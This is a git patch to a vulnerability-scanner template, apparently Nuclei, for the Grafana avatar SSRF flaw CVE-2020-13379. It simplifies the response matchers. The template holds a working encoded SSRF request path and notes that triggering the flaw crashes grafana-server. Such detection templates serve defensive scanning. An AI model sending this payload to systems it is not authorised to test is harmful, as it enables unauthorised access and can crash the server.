From aa50c7370d3315edaaf3deafaf21c3430068229b Mon Sep 17 00:00:00 2001 From: joeldeleep <42582155+joeldeleep@users.noreply.github.com> Date: Sun, 27 Sep 2020 12:44:17 +0530 Subject: [PATCH] Update CVE-2020-13379.yaml --- cves/CVE-2020-13379.yaml | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/cves/CVE-2020-13379.yaml b/cves/CVE-2020-13379.yaml index 77b457c93d..7cf7daab18 100644 --- a/cves/CVE-2020-13379.yaml +++ b/cves/CVE-2020-13379.yaml @@ -5,7 +5,7 @@ info: author: pxmme1337 severity: medium description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. - + # Source:- https://www.exploit-db.com/exploits/48638 # WARNING # This vulnerability results in complete crashing of the grafana-server application. @@ -15,10 +15,7 @@ requests: path: - '{{BaseURL}}/avatar/test%3fd%3dredirect.example.com%25253f%253b%252fbp.blogspot.com%252f matchers: - - type: status - status: - - 200 - type: word - words: - - "image/jpeg" - part: header + words: + - "image/jpeg" + part: header